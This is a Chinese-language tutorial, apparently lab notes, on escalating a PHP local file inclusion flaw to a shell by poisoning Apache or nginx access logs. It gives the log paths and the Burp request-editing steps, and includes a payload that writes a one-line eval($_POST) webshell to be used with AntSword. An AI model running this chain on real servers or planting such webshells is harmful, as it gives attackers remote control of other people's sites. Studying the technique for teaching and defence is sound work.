文件包含漏洞进阶–日志文件包含利用

利用环境

  1. 目标服务器存在文件包含漏洞的前提下
  2. 没有上传功能下获取权限的方法

原理:

  1. 当某个php文件存在本地文件包含漏洞,而却无法正常上传文件,这就意味着有包含漏洞却不能拿来利用,这时攻击者可能会利用apache日志文件来入侵
  2. apache服务器运行后会生成两个日志文件,分别是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志access.log文件中

利用方法:

总:通过日志文件getshell

  1. 通过burpsuit发送的请求包产生日志数据
  2. 包含日志文件
  3. 写入一句话木马getshell
  4. 我的理解就是:添加一条日志文件数据,此日志文件中写木马,getshell

日志文件相关

日志文件路径

  1. nginx日志文件路径:?file=/var/log/nginx/access.log
  2. apache2日志文件路径:?file=/var/log/apache2/access.log
  3. 这里主要看access.log这个日志,这个日志记录着服务器所有的访问记录,包括一些攻击流量

没有access.log的原因

  1. 进入目录下,如果发现没有access.log这个访问文件,是因为apache配置文件没有打开这个配置选项,需要对相应的功能进行开启\

开启access.log

  1. 通过配置文件开启access.log访问日志功能
  2. 搜索CustomLog “logs/access.log” common,将前面的##注释去掉,并保存文件,然后重启PHPstudy:
  3. 访问几个网页,查看记录,对自己访问的页面有记录,说明access.log可以自动记录访问操作

入侵过程

  1. 通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问内容,即可以在路径后面直接加/phpinfo();
    <?php phpinfo();?>
  2. 通过上图我们可以看出,日志已经成功记录我们的访问历史,但是是经过URL编码后的结果。如何让它记录我们原始完整的代码呢?一般URL编码是我们的浏览器进行完成的,它对我们访问的目录做了URL编码,然后发送到服务器,我们可以通过burpsuite,把经过浏览器URL编码后的数据进行修改。
  3. 使用burp修改编码后的数据:即将burp中抓的包中URL编码的位置改为原本的字符

  4. 查看访问日志,可以看出没有编码的phpinfo();代码已经成功记录
  5. 文件包含只要文件中有Php代码,它就会调用include(),require()等函数将这个文件当作php脚本进行解析,这样我们就可以包含这个日志文件,让目标服务器把日志文件解析为php脚本
  6. 让访问日志文件记录下写入文件脚本代码:(这个地方就包含了password,为了进行下一步连接蚁剑提供密码)
    访问内容:
    <?php
    $file=fopen('test1.php','w');
    fputs($file,'<?php @eval($_POST[1]);?>')
    ?>
  7. 对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功,解析方式:前面该是怎么样就是怎么样,解析不了直接跳过,一直到能够正常解析的位置就去解析
  8. 连接蚁剑,密码就是上面请求并进行URL编码解码处理后的密码

nginx的access.log文件详解

nginx系统中日志文件一般放在/var/log/nginx下

  1. 直接使用tail -f命令即可查看access日志